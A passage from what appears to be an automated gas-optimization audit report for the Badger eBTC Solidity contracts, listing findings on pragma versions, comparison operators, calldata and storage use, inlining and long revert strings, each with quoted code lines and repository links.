3    pragma solidity 0.8.17;

instead use 0.8.19

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Interfaces/IBorrowerOperations.sol#L3

File: contracts/Interfaces/ICdpManager.sol

3    pragma solidity 0.8.17;

instead use 0.8.19

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Interfaces/ICdpManager.sol#L3

File: contracts/Interfaces/ICdpManagerData.sol

3    pragma solidity 0.8.17;

instead use 0.8.19

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Interfaces/ICdpManagerData.sol#L3

File: contracts/Interfaces/ICollSurplusPool.sol

3    pragma solidity 0.8.17;

instead use 0.8.19

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Interfaces/ICollSurplusPool.sol#L3

File: contracts/Interfaces/IEBTCToken.sol

3    pragma solidity 0.8.17;

instead use 0.8.19

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Interfaces/IEBTCToken.sol#L3

File: contracts/Interfaces/IERC3156FlashBorrower.sol

3    pragma solidity 0.8.17;

instead use 0.8.19

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Interfaces/IERC3156FlashBorrower.sol#L3

File: contracts/Interfaces/IERC3156FlashLender.sol

3    pragma solidity 0.8.17;

instead use 0.8.19

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Interfaces/IERC3156FlashLender.sol#L3

File: contracts/Interfaces/IEbtcBase.sol

3    pragma solidity 0.8.17;

instead use 0.8.19

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Interfaces/IEbtcBase.sol#L3

File: contracts/Interfaces/IFallbackCaller.sol

3    pragma solidity 0.8.17;

instead use 0.8.19

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Interfaces/IFallbackCaller.sol#L3

File: contracts/Interfaces/IPermitNonce.sol

3    pragma solidity 0.8.17;

instead use 0.8.19

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Interfaces/IPermitNonce.sol#L3

File: contracts/Interfaces/IPool.sol

3    pragma solidity 0.8.17;

instead use 0.8.19

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Interfaces/IPool.sol#L3

File: contracts/Interfaces/IPositionManagers.sol

3    pragma solidity 0.8.17;

instead use 0.8.19

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Interfaces/IPositionManagers.sol#L3

File: contracts/Interfaces/IPriceFeed.sol

3    pragma solidity 0.8.17;

instead use 0.8.19

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Interfaces/IPriceFeed.sol#L3

File: contracts/Interfaces/IRecoveryModeGracePeriod.sol

2    pragma solidity 0.8.17;

instead use 0.8.19

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Interfaces/IRecoveryModeGracePeriod.sol#L2

File: contracts/Interfaces/ISortedCdps.sol

3    pragma solidity 0.8.17;

instead use 0.8.19

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Interfaces/ISortedCdps.sol#L3

File: contracts/LeverageMacroBase.sol

2    pragma solidity 0.8.17;

instead use 0.8.19

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L2

File: contracts/LeverageMacroDelegateTarget.sol

2    pragma solidity 0.8.17;

instead use 0.8.19

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroDelegateTarget.sol#L2

File: contracts/LeverageMacroFactory.sol

2    pragma solidity 0.8.17;

instead use 0.8.19

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroFactory.sol#L2

File: contracts/LeverageMacroReference.sol

2    pragma solidity 0.8.17;

instead use 0.8.19

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroReference.sol#L2

File: contracts/LiquidationLibrary.sol

3    pragma solidity 0.8.17;

instead use 0.8.19

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L3

File: contracts/PriceFeed.sol

3    pragma solidity 0.8.17;

instead use 0.8.19

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L3

File: contracts/SimplifiedDiamondLike.sol

2    pragma solidity 0.8.17;

instead use 0.8.19

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SimplifiedDiamondLike.sol#L2

File: contracts/SortedCdps.sol

3    pragma solidity 0.8.17;

instead use 0.8.19

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L3

solc-0.8.17 is not recommended for deployment

solc-0.4.26 is not recommended for deployment

[G-17] Inefficient assignments to state variables

  • Severity: Gas Optimization
  • Confidence: High
  • Total Gas Saved: 113

Description

Assignment operations that involve calculations, like add-assigment (+=), for state variables, should be replaced with the appropriate calculation operation, like add (+), followed by an assignment operation (=), to save gas. Avoids a Gwarmaccess (100 gas).

There are 1 instances of this issue:

File: contracts/CdpManager.sol

697    lastRedemptionTimestamp += _minutesPassedSinceLastRedemption() * SECONDS_IN_ONE_MINUTE

should use the appropriate calculation operation (+), followed by an assignment operation (=)

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L697

[G-18] Greater or Equal Comparison Costs Less Gas than Greater Comparison

  • Severity: Gas Optimization
  • Confidence: High
  • Total Gas Saved: 27

Description

In Solidity, the >= operator costs less gas than the > operator. This is because the Solidity compiler uses the LT opcode for >= comparisons, which requires less gas than the combination of GT and ISZERO opcodes used for > comparisons. Therefore, replacing > with >= when possible can reduce the gas cost of your contract.

There are 9 instances of this issue:

File: contracts/CdpManager.sol

690    uint256 timePassed = block.timestamp > lastRedemptionTimestamp
691                ? block.timestamp - lastRedemptionTimestamp
692                : 0

using GREATEREQUAL/LESSEQUAL in this case is identical therefore should be use.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L690-L692

File: contracts/CdpManagerStorage.sol

99    newTCR < CCR

using GREATEREQUAL/LESSEQUAL in this case is identical therefore should be use.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L99

File: contracts/LiquidationLibrary.sol

100    bool _recoveryModeAtStart = _TCR < CCR ? true : false

using GREATEREQUAL/LESSEQUAL in this case is identical therefore should be use.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L100

File: contracts/LiquidationLibrary.sol

358    _recoveryState.entireSystemDebt = _recoveryState.entireSystemDebt > _totalDebtToBurn
359                ? _recoveryState.entireSystemDebt - _totalDebtToBurn
360                : 0

using GREATEREQUAL/LESSEQUAL in this case is identical therefore should be use.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L358-L360

File: contracts/LiquidationLibrary.sol

361    _recoveryState.entireSystemColl = _recoveryState.entireSystemColl > _totalColToSend
362                ? _recoveryState.entireSystemColl - _totalColToSend
363                : 0

using GREATEREQUAL/LESSEQUAL in this case is identical therefore should be use.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L361-L363

File: contracts/LiquidationLibrary.sol

594    debtToRedistribute = _debtToRepay < _totalDebtToBurn
595                    ? _totalDebtToBurn - _debtToRepay //  Bad Debt (to be redistributed) is (CdpDebt - Repaid)
596                    : 0

using GREATEREQUAL/LESSEQUAL in this case is identical therefore should be use.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L594-L596

File: contracts/LiquidationLibrary.sol

602    toLiquidator = toLiquidator < _totalColToSend ? toLiquidator : _totalColToSend

using GREATEREQUAL/LESSEQUAL in this case is identical therefore should be use.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L602

File: contracts/PriceFeed.sol

794    uint256 _decimalDenominator = _stEthEthDecimals > _ethBtcDecimals
795                ? _stEthEthDecimals
796                : _ethBtcDecimals

using GREATEREQUAL/LESSEQUAL in this case is identical therefore should be use.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L794-L796

File: contracts/PriceFeed.sol

797    uint256 _scaledDecimal = _stEthEthDecimals > _ethBtcDecimals
798                ? 10 ** (_stEthEthDecimals - _ethBtcDecimals)
799                : 10 ** (_ethBtcDecimals - _stEthEthDecimals)

using GREATEREQUAL/LESSEQUAL in this case is identical therefore should be use.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L797-L799

[G-19] Inefficient Parameter Storage

  • Severity: Gas Optimization
  • Confidence: Medium
  • Total Gas Saved: 1750

Description

When passing function parameters, using the calldata area instead of memory can improve gas efficiency. Calldata is a read-only area where function arguments and external function calls’ parameters are stored.

By using calldata for function parameters, you avoid unnecessary gas costs associated with copying data from calldata to memory. This is particularly beneficial when the parameter is read-only and doesn’t require modification within the contract.

Using calldata for function parameters can help optimize gas usage, especially when making external function calls or when the parameter values are provided externally and don’t need to be stored persistently within the contract.

There are 35 instances of this issue:

File: contracts/BorrowerOperations.sol

760    MoveTokensParams memory _varMvTokens

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L760

File: contracts/BorrowerOperations.sol

987    AdjustCdpLocals memory vars

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L987

File: contracts/CdpManager.sol

126    bytes32[] memory _cdpArray

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L126

File: contracts/CdpManager.sol

136    SingleRedemptionInputs memory _redeemColFromCdp

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L136

File: contracts/Governor.sol

120    uint8[] memory roleIds

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L120

File: contracts/Interfaces/ISortedCdps.sol

16    bytes32[] memory _ids

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Interfaces/ISortedCdps.sol#L16

File: contracts/LeverageMacroBase.sol

244    CheckValueAndType memory check

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L244

File: contracts/LeverageMacroBase.sol

291    LeverageMacroOperation memory operation

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L291

File: contracts/LeverageMacroBase.sol

382    SwapOperation[] memory swapData

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L382

File: contracts/LeverageMacroBase.sol

398    SwapOperation memory swapData

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L398

File: contracts/LeverageMacroBase.sol

435    SwapCheck[] memory swapChecks

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L435

File: contracts/LiquidationLibrary.sol

398    LiquidationLocals memory _partialState

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L398

File: contracts/LiquidationLibrary.sol

467    LiquidationLocals memory _partialState

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L467

File: contracts/LiquidationLibrary.sol

611    LocalVariables_LiquidationSequence memory vars

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L611

File: contracts/LiquidationLibrary.sol

646    LocalVariables_LiquidationSequence memory vars

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L646

File: contracts/LiquidationLibrary.sol

679    bytes32[] memory _cdpArray

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L679

File: contracts/LiquidationLibrary.sol

737    bytes32[] memory _cdpArray

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L737

File: contracts/LiquidationLibrary.sol

810    bytes32[] memory _cdpArray

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L810

File: contracts/LiquidationLibrary.sol

840    LiquidationTotals memory oldTotals

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L840

File: contracts/LiquidationLibrary.sol

841    LiquidationValues memory singleLiquidation

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L841

File: contracts/PriceFeed.sol

401    ChainlinkResponse memory _currentResponse

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L401

File: contracts/PriceFeed.sol

402    ChainlinkResponse memory _prevResponse

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L402

File: contracts/PriceFeed.sol

412    ChainlinkResponse memory _response

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L412

File: contracts/PriceFeed.sol

435    ChainlinkResponse memory _response

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L435

File: contracts/PriceFeed.sol

446    ChainlinkResponse memory _currentResponse

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L446

File: contracts/PriceFeed.sol

447    ChainlinkResponse memory _prevResponse

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L447

File: contracts/PriceFeed.sol

465    FallbackResponse memory _response

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L465

File: contracts/PriceFeed.sol

486    FallbackResponse memory _fallbackResponse

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L486

File: contracts/PriceFeed.sol

504    ChainlinkResponse memory _chainlinkResponse

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L504

File: contracts/PriceFeed.sol

505    ChainlinkResponse memory _prevChainlinkResponse

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L505

File: contracts/PriceFeed.sol

506    FallbackResponse memory _fallbackResponse

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L506

File: contracts/PriceFeed.sol

527    ChainlinkResponse memory _chainlinkResponse

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L527

File: contracts/PriceFeed.sol

528    FallbackResponse memory _fallbackResponse

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L528

File: contracts/PriceFeed.sol

562    FallbackResponse memory _fallbackResponse

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/PriceFeed.sol#L562

File: contracts/SortedCdps.sol

419    bytes32[] memory _ids

should be declared as calldata instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L419

[G-20] Using Storage Instead of Memory for structs/arrays Saves Gas

  • Severity: Gas Optimization
  • Confidence: Medium
  • Total Gas Saved: 29400

Description

When fetching data from a storage location, assigning the data to a memory variable causes all fields of the struct / array to be read from storage. This incurs a Gcoldsload (2100 gas) for each field of the struct / array. If the fields are read from the new memory variable, they incur an additional MLOAD, which is more expensive than a simple stack read.

Instead of declaring the variable with the memory keyword, a more cost-effective approach is to declare the variable with the storage keyword. In this case, you can cache any fields that need to be re-read in stack variables. This approach significantly reduces gas costs, as you only incur the Gcoldsload for the fields actually read.

The only scenario where it makes sense to read the whole struct / array into a memory variable is if the full struct / array is being returned by the function or passed to a function that requires memory. Additionally, if the array / struct is being read from another memory array / struct, using a memory variable may be appropriate.

By carefully considering the storage and memory usage in your contract, you can optimize gas costs and improve the efficiency of your smart contract operations.

There are 7 instances of this issue:

File: contracts/CdpManager.sol

150    CdpDebtAndCollShares memory _oldDebtAndColl = CdpDebtAndCollShares(
151                Cdps[_redeemColFromCdp.cdpId].debt,
152                Cdps[_redeemColFromCdp.cdpId].coll
153            )

should be declared as storage

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L150-L153

File: contracts/Governor.sol

56    address[] memory _usrs = users.values()

should be declared as storage

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L56

File: contracts/Governor.sol

134    bytes32[] memory _sigs = enabledFunctionSigsByTarget[_target].values()

should be declared as storage

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/Governor.sol#L134

File: contracts/LeverageMacroBase.sol

176    ICdpManagerData.Cdp memory cdpInfo = cdpManager.Cdps(cdpId)

should be declared as storage

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L176

File: contracts/LeverageMacroBase.sol

187    ICdpManagerData.Cdp memory cdpInfo = cdpManager.Cdps(checkParams.cdpId)

should be declared as storage

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L187

File: contracts/LeverageMacroBase.sol

199    ICdpManagerData.Cdp memory cdpInfo = cdpManager.Cdps(checkParams.cdpId)

should be declared as storage

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L199

File: contracts/SortedCdps.sol

522    Node memory _node = data.nodes[_id]

should be declared as storage

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L522

[G-21] Internal or Private Function that Called Once Should Be Inlined to Save Gas

  • Severity: Gas Optimization
  • Confidence: High
  • Total Gas Saved: 380

Description

Setting the internal/private function that called once to inline would save gas

There are 19 instances of this issue:

File: contracts/CdpManagerStorage.sol

648    function _requireCdpIsActive(bytes32 _cdpId) internal view 

should be inline to save gas:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L648-L650

File: contracts/CdpManagerStorage.sol

733    function _getSyncedDebtAndCollShares(
734            bytes32 _cdpId
735        ) internal view returns (CdpDebtAndCollShares memory) 

should be inline to save gas:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L733-L738

File: contracts/EBTCToken.sol

306    function _requireCallerIsBorrowerOperations() internal view 

this function can be delete, the function is never called:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L306-L311

File: contracts/EBTCToken.sol

323    function _requireCallerIsCdpM() internal view 

this function can be delete, the function is never called:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L323-L325

File: contracts/HintHelpers.sol

133    function _calculateCdpStateAfterPartialRedemption(
134            LocalVariables_getRedemptionHints memory vars,
135            uint256 currentCdpDebt,
136            uint256 _price
137        ) internal view returns (uint256, uint256) 

should be inline to save gas:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/HintHelpers.sol#L133-L153

File: contracts/LiquidationLibrary.sol

135    function _liquidateIndividualCdpSetupCDP(
136            LiquidationLocals memory _liqState,
137            LiquidationRecoveryModeLocals memory _recoveryState
138        ) internal 

should be inline to save gas:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L135-L182

File: contracts/LiquidationLibrary.sol

397    function _liquidateCDPPartially(
398            LiquidationLocals memory _partialState
399        ) private returns (uint256, uint256) 

should be inline to save gas:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L397-L448

File: contracts/LiquidationLibrary.sol

450    function _partiallyReduceCdpDebt(
451            bytes32 _cdpId,
452            uint256 _partialDebt,
453            uint256 _partialColl
454        ) internal 

should be inline to save gas:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L450-L463

File: contracts/LiquidationLibrary.sol

466    function _reInsertPartialLiquidation(
467            LiquidationLocals memory _partialState,
468            uint256 _newNICR,
469            uint256 _oldDebt,
470            uint256 _oldColl
471        ) internal 

should be inline to save gas:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L466-L501

File: contracts/LiquidationLibrary.sol

544    function _calculatePartialLiquidationSurplusAndCap(
545            uint256 _ICR,
546            uint256 _price,
547            uint256 _totalDebtToBurn,
548            uint256 _totalColToSend
549        ) private view returns (uint256 toLiquidator, uint256 collSurplus, uint256 debtToRedistribute) 

should be inline to save gas:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L544-L568

File: contracts/LiquidationLibrary.sol

642    function _getLiquidationValuesRecoveryMode(
643            uint256 _price,
644            uint256 _systemDebt,
645            uint256 _systemCollShares,
646            LocalVariables_LiquidationSequence memory vars,
647            LiquidationValues memory singleLiquidation
648        ) internal 

should be inline to save gas:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L642-L671

File: contracts/LiquidationLibrary.sol

733    function _getTotalFromBatchLiquidate_RecoveryMode(
734            uint256 _price,
735            uint256 _systemCollShares,
736            uint256 _systemDebt,
737            bytes32[] memory _cdpArray
738        ) internal returns (LiquidationTotals memory totals) 

should be inline to save gas:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L733-L805

File: contracts/LiquidationLibrary.sol

807    function _getTotalsFromBatchLiquidate_NormalMode(
808            uint256 _price,
809            uint256 _TCR,
810            bytes32[] memory _cdpArray
811        ) internal returns (LiquidationTotals memory totals) 

should be inline to save gas:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L807-L835

File: contracts/LiquidationLibrary.sol

862    function _redistributeDebt(uint256 _debt) internal 

should be inline to save gas:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L862-L892

File: contracts/LiquidationLibrary.sol

896    function _requirePartialLiqDebtSize(
897            uint256 _partialDebt,
898            uint256 _entireDebt,
899            uint256 _price
900        ) internal view 

should be inline to save gas:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L896-L906

File: contracts/LiquidationLibrary.sol

908    function _requirePartialLiqCollSize(uint256 _entireColl) internal pure 

should be inline to save gas:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LiquidationLibrary.sol#L908-L913

File: contracts/SimplifiedDiamondLike.sol

134    function _executeOne(Operation calldata op) internal 

should be inline to save gas:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SimplifiedDiamondLike.sol#L134-L156

File: contracts/SimplifiedDiamondLike.sol

174    function _fallback() internal 

should be inline to save gas:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SimplifiedDiamondLike.sol#L174-L201

File: contracts/SortedCdps.sol

642    function _ascendList(uint256 _NICR, bytes32 _startId) internal view returns (bytes32, bytes32) 

should be inline to save gas:

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L642-L658

[G-22] Inefficient Gas Usage in Solidity Smart Contracts Due to Long Error Messages

  • Severity: Gas Optimization
  • Confidence: High
  • Total Gas Saved: 1998

Description

If the string parameter of a require() or revert() function is longer than 32 bytes, it can lead to inefficiencies. This is because each extra memory word of bytes past the original 32 incurs an MSTORE operation, which costs 3 gas.

There are 111 instances of this issue:

File: contracts/ActivePool.sol

137    require(cachedSystemCollShares >= _shares, "ActivePool: Insufficient collateral shares")

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L137

File: contracts/ActivePool.sol

162    require(cachedSystemCollShares >= _shares, "ActivePool: Insufficient collateral shares")

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L162

File: contracts/ActivePool.sol

220    require(
221                msg.sender == borrowerOperationsAddress,
222                "ActivePool: Caller is not BorrowerOperations"
223            )

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L220-L223

File: contracts/ActivePool.sol

228    require(
229                msg.sender == borrowerOperationsAddress || msg.sender == cdpManagerAddress,
230                "ActivePool: Caller is neither BorrowerOperations nor CdpManager"
231            )

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L228-L231

File: contracts/ActivePool.sol

236    require(msg.sender == cdpManagerAddress, "ActivePool: Caller is not CdpManager")

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L236

File: contracts/ActivePool.sol

277    require(
278                receiver.onFlashLoan(msg.sender, token, amount, fee, data) == FLASH_SUCCESS_VALUE,
279                "ActivePool: IERC3156: Callback failed"
280            )

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L277-L280

File: contracts/ActivePool.sol

302    require(
303                collateral.getPooledEthByShares(DECIMAL_PRECISION) == oldRate,
304                "ActivePool: Should keep same collateral share rate"
305            )

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L302-L305

File: contracts/ActivePool.sol

350    require(
351                cachedFeeRecipientCollShares >= _shares,
352                "ActivePool: Insufficient fee recipient coll"
353            )

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L350-L353

File: contracts/ActivePool.sol

374    require(token != address(collateral), "ActivePool: Cannot Sweep Collateral")

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L374

File: contracts/ActivePool.sol

377    require(amount <= balance, "ActivePool: Attempt to sweep more than balance")

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L377

File: contracts/ActivePool.sol

393    require(
394                _feeRecipientAddress != address(0),
395                "ActivePool: Cannot set fee recipient to zero address"
396            )

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L393-L396

File: contracts/ActivePool.sol

407    require(_newFee <= MAX_FEE_BPS, "ERC3156FlashLender: _newFee should <= MAX_FEE_BPS")

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L407

File: contracts/BorrowerOperations.sol

368    require(
369                _stEthBalanceDecrease <= _cdpStEthBalance,
370                "BorrowerOperations: Cannot withdraw greater stEthBalance than the value in Cdp"
371            )

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L368-L371

File: contracts/BorrowerOperations.sol

463    require(vars.netStEthBalance > 0, "BorrowerOperations: zero collateral for openCdp()!")

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L463

File: contracts/BorrowerOperations.sol

541    require(
542                vars.netStEthBalance + LIQUIDATOR_REWARD == _stEthBalance,
543                "BorrowerOperations: deposited collateral mismatch!"
544            )

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L541-L544

File: contracts/BorrowerOperations.sol

715    require(_deadline >= block.timestamp, "BorrowerOperations: Position manager permit expired")

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L715

File: contracts/BorrowerOperations.sol

734    require(
735                recoveredAddress != address(0) && recoveredAddress == _borrower,
736                "BorrowerOperations: Invalid signature"
737            )

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L734-L737

File: contracts/BorrowerOperations.sol

807    require(
808                _stEthBalanceIncrease == 0 || _stEthBalanceDecrease == 0,
809                "BorrowerOperations: Cannot add and withdraw collateral in same operation"
810            )

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L807-L810

File: contracts/BorrowerOperations.sol

818    require(
819                _stEthBalanceIncrease != 0 || _stEthBalanceDecrease != 0 || _debtChange != 0,
820                "BorrowerOperations: There must be either a collateral change or a debt change"
821            )

make the message shorter than 32 bytes

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L818-L821

File: contracts/BorrowerOperations.sol

826    require(status == 1, "BorrowerOperations: Cdp does not exist or is closed")

make the message shorter than 32 bytes

